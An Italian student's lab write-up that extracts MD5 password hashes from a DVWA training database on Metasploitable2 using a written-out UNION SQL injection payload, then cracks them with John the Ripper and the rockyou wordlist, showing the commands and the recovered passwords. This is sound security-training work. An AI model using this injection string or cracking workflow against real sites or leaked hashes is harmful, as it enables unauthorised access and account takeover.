

S6L4 – ESERCIZIO DI PRATICA

Password cracking

1. Prefazione:

Recuperare le password hashate nel database della DVWA e eseguire sessioni di cracking per recuperare la loro versione in chiaro utilizzando i tool studiati nella lezione teorica

Istruzioni:

1.Recupero delle Password dal Database:

- Accedete al database della DVWA per estrarre le password hashate.
- Assicuratevi di avere accesso alle tabelle del database che contengono le password.

2.Identificazione delle Password Hashate:

- Verificate che le password recuperate siano hash di tipo MD5.

3.Esecuzione del Cracking delle Password:

- Utilizzate uno o più tool per craccare le password.
- Configurate i tool scelti e avviate le sessioni di cracking.

4.Obiettivo:

- Craccare tutte le password recuperate dal database

2. Introduzione:

Per l'esecuzione di questo esercizio verranno utilizzato due Macchine Virtuali:

Kali Linux ip:192.168.2.100, Macchina che sarà utilizzata per il recupero delle password.

Metasploitable2 ip:192.168.2.7, Macchina Target dalla quale verranno recuperate le password

La modalità di esecuzione avverrà dal database della Metasploitable2 con **SQL Injection** dal quale ricaverò nomi utenti e passwords successivamente utilizzerò **Wordlists e John The Ripper**.

Wordlists mi servirà per contenere le passwords che avremo ricavato e John the Ripper per recuperarle in maniera chiara.

3. Esecuzione Esercizio di Pratica

1. SQL Injection –

Effettuo l'accesso sulla **Macchina Virtuale Metasploitable2** attraverso il browser e inserisco Username e Password.

Imposto da **DVWA Security** su Low e su SQL Injection ricavo le password degli utenti attraverso le Query.

1' UNION SELECT user, password FROM users-- - mi ricava First name e Surname, quindi nome utente e password degli utenti.

The screenshot shows the DVWA SQL Injection interface. The URL in the address bar is 192.168.2.7/dvwa/vulnerabilities/sqlinjection/?id=1%27+UNION+SELECT+user%2C+password+FROM+users--+-&Submit=Submit#. The main content area displays a list of user records extracted from the database:

User ID	First name	Surname
ID: 1' UNION SELECT user, password FROM users-- -	admin	admin
ID: 1' UNION SELECT user, password FROM users-- -	admin	5f4dcc3b5aa765d61d8327deb882cf99
ID: 1' UNION SELECT user, password FROM users-- -	gordonb	e99a18c428cb38d5f260853678922e03
ID: 1' UNION SELECT user, password FROM users-- -	1337	8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1' UNION SELECT user, password FROM users-- -	pablo	0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1' UNION SELECT user, password FROM users-- -	smithy	5f4dcc3b5aa765d61d8327deb882cf99

Below the table, there is a "More info" section with links to security reviews and a "View Source" and "View Help" button at the bottom right.

Le password ottenute in forma di **hash**, dato il numero dei caratteri e la varietà, sono **MD5**:

```
5f4dcc3b5aa765d61d8327deb882cf99  
e99a18c428cb38d5f260853678922e03  
8d3533d75ae2c3966d7e0d4fcc69216b  
0d107d09f5bbe40cade3de5c71e9e9b7  
5f4dcc3b5aa765d61d8327deb882cf99
```

2.Wordlists

Wordlists è un elenco di password, frasi o parole chiave che vengono usate per gli Attacchi a Dizionario.

Da Kali Linux creo la cartella hash.txt sul Desktop nella quale metto gli hash scoperti e avvio Wordlists

```
(kali㉿kali)-[~/Desktop]  
└─$ wordlists  
  
> wordlists ~ Contains the rockyou wordlist  
  
/usr/share/wordlists  
└── dirb → /usr/share/dirb/wordlists  
└── dirbuster → /usr/share/dirbuster/wordlists  
└── dnsmap.txt → /usr/share/dnsmap/wordlist_TLAs.txt  
└── fasttrack.txt → /usr/share/set/src/fasttrack/wordlist.txt  
└── fern-wifi → /usr/share/fern-wifi-cracker/extras/wordlists  
└── hash.txt  
└── john.lst → /usr/share/john/password.lst  
└── legion → /usr/share/legion/wordlists  
└── metasploit → /usr/share/metasploit-framework/data/wordlists  
└── nmap.lst → /usr/share/nmap/nselib/data/passwords.lst  
└── rockyou.txt  
└── sqlmap.txt → /usr/share/sqlmap/data/txt/wordlist.txt  
└── user.txt  
└── wfuzz → /usr/share/wfuzz/wordlist  
└── wifite.txt → /usr/share/dict/wordlist-probable.txt
```

```
Session Actions Edit View Help
GNU nano 8.7
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
```

2. John The Ripper

John The Ripper è un software di password cracking che:

- Genera password candidate
- Calcola il loro hash
- Confronta il risultato con gli hash target

Da terminale Kali Linux digito:

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/hash.txt
```

Dove:

john è il programma

--format=raw-md5 è il tipo di hash

--wordlist=/usr/share/wordlists/rockyou.txt specifica il file contenente le password candidate.

rockyou.txt contiene le password comuni

/usr/share/wordlists/hash.txt è il file contenente gli hash

```
(kali㉿kali)-[~/usr/share/wordlists]
$ john --format=raw-md5 --wordlist=/home/kali/Desktop/rockyou.txt /home/kali/Desktop/hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
fopen: /home/kali/Desktop/rockyou.txt: No such file or directory

(kali㉿kali)-[~/usr/share/wordlists]
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt /usr/share/wordlists/hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
abc123        (?)
letmein       (?)
charley       (?)
4g 0:00:00:00 DONE (2026-01-15 16:40) 400.0g/s 307200p/s 307200c/s 460800C/s my3kids .. dangerous
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Ottengo le seguenti password:

password

abc123

letmein

charley